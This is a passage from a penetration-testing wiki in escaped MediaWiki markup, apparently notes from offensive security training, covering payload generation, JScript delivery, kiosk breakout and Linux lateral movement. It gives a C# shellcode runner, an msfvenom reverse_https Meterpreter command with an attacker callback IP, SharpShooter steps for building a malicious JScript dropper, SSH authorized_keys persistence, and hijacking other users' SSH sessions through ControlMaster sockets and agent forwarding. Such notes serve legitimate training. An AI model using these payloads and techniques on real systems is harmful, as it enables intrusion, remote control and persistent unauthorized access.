# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
